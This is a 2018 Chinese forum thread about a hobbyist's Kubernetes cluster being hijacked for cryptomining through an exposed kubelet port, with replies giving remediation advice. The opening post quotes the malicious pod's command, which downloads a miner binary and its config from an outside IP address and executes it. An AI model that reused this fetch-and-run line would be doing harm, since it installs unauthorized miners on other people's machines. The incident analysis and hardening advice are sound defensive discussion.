V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
shisang
V2EX  ›  问与答

k8s 被人拿去挖矿了

  •  
  •   shisang · 2018-08-02 18:36:54 +08:00 · 6447 次点击
    这是一个创建于 2290 天前的主题,其中的信息可能已经有所发展或是发生改变。

    在腾讯云学生机上自己折腾 k8s,并把 blog 部署在上边,结果两天上去怎么多那么多 pod。

    top

    kubectl get pods

    ps aux | grep k.conf

    查看 /tmp/docker, 没有了估计是屁股被擦干净了。

    订阅轻重一个 pod

    Command:
          sh
          -c
          curl -o /var/tmp/config.json http://192.99.142.232:8220/2.json;curl -o /var/tmp/suppoie http://192.99.142.232:8220/rig;chmod 777 /var/tmp/suppoie;cd /var/tmp;./suppoie -c config.json
    
    

    找到了一篇一样遭遇的文章http://www.lijiaocn.com/%E9%97%AE%E9%A2%98/2018/07/20/kubernetes-docker-cpu-high.html 按照作者所说应该是 10250 端口暴露到外网了。

    netstat -lnpt | grep 10250 果不其然。

    先杀死挖矿 pods,

    kubectl get pods | grep y1ee4 | awk '{print $1}' | xargs kubectl delete --grace-period=0 --force pods

    kubectl get pods

    有重新创建了,日了

    kubectl get rc 然后 delete rc,赶紧查看是不是哪里配置写错了。

    新手,大神路过指导一二。

    24 条回复    2019-06-28 00:39:42 +08:00
    shisang
        1
    shisang  
    OP
       2018-08-02 18:46:59 +08:00
    消灭零回复
    des
        2
    des  
       2018-08-02 18:52:32 +08:00 via Android
    重装最简单了
    shisang
        3
    shisang  
    OP
       2018-08-02 18:53:14 +08:00
    @des 要不要那么暴力
    wtks1
        4
    wtks1  
       2018-08-02 18:53:46 +08:00 via Android
    重装是最暴力但最有效的办法
    murmur
        5
    murmur  
       2018-08-02 19:02:34 +08:00
    @shisang linux 没杀软 没那么多 windows 的花式检查工具 真的只能重装
    murmur
        6
    murmur  
       2018-08-02 19:02:53 +08:00
    别人甚至还可以替换掉你的常用命令
    artandlol
        7
    artandlol  
       2018-08-02 19:02:56 +08:00 via iPhone
    @wtks1 只要不是用 root 用户登 docker 就没必要重装
    artandlol
        8
    artandlol  
       2018-08-02 19:11:52 +08:00 via iPhone
    启 rbacc 客户端启用 token docker 用户不应该是 root
    qfdk
        9
    qfdk  
       2018-08-02 19:12:02 +08:00 via iPhone
    docker 开了 remote api 了吧 我也中了 都是 docker 中运行 然后从容器里跑出来的 最后让我消灭了…… 本来是开了 api 做测试的 两天就被挖坑了
    artandlol
        10
    artandlol  
       2018-08-02 19:15:29 +08:00 via iPhone
    然后 kubectl -o 出 yamll 然后 delete 看你是用 root 跑,最好还是回滚到之前的
    abmin521
        11
    abmin521  
       2018-08-02 20:02:25 +08:00 via Android
    刚好研究过
    关闭 kubelet 的匿名访问 双向 tls 就行了
    kubeadm 就没有这个 bug
    有空准备扫一波
    cqxxxxxxx
        12
    cqxxxxxxx  
       2018-08-02 20:58:50 +08:00
    lz 是一台机器 minikube 搭的 k8s?还是好几台机器搭的集群?
    DesignerSkyline
        13
    DesignerSkyline  
       2018-08-02 21:20:12 +08:00
    重装吧,二进制已经被污染了
    shisang
        14
    shisang  
    OP
       2018-08-02 22:33:18 +08:00
    @abmin521 之前在 vultr 是 kubeadm 装过,运行挺好,就是国内装不上,用 privoxy 代理也不行。但是 vultr 坑爹了,重启后 ip ping 不通,要手动修改网络配置。要手动在网页 console 输入密码十几次每一次对的,最后客服说可以通过 sysroot 修改密码,按照文档操作后直接 unknown user,弃坑~!
    shisang
        15
    shisang  
    OP
       2018-08-02 22:34:35 +08:00
    @cqxxxxxxx 1cpu 2G memory 的鹅厂学生机,源码安装的单节点~~~~~逃
    shisang
        16
    shisang  
    OP
       2018-08-02 22:41:49 +08:00
    @qfdk 没有该 docker,是 k8s 污染进来的
    mritd
        17
    mritd  
       2018-08-03 00:05:07 +08:00
    你多半是看了那个 无良教程 apiserver 监听 :8080 了吧
    E1n
        18
    E1n  
       2018-08-03 01:19:47 +08:00 via Android
    单机能学到什么东西,褥 gcp 玩玩集群吧
    580a388da131
        19
    580a388da131  
       2018-08-03 01:27:55 +08:00 via Android
    不是有安全组吗?你开了所有端口?
    0312birdzhang
        20
    0312birdzhang  
       2018-08-03 08:09:08 +08:00 via iPhone
    直接删 pod 要是能删掉的话 deployment、rc、daemonset 是干嘛的😷
    znood
        21
    znood  
       2018-08-03 13:07:47 +08:00 via iPhone
    查看 k8s 所有资源,把可疑的删掉,只删 pod 没用的,kubelet 会自动创建
    shisang
        22
    shisang  
    OP
       2018-08-03 14:51:49 +08:00
    @580a388da131 为了方便测试,安全之前设置为 all,所有端口放行了~~
    shisang
        23
    shisang  
    OP
       2018-08-03 18:04:03 +08:00
    @E1n 现在下岗,没钱~!
    suom
        24
    suom  
       2019-06-28 00:39:42 +08:00
    装好机器以后,整个机器备份一次。
    被黑了,直接查洞-还原备份-修补漏洞-再次备份-部署业务
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   979 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 23ms · UTC 22:06 · PVG 06:06 · LAX 14:06 · JFK 17:06
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.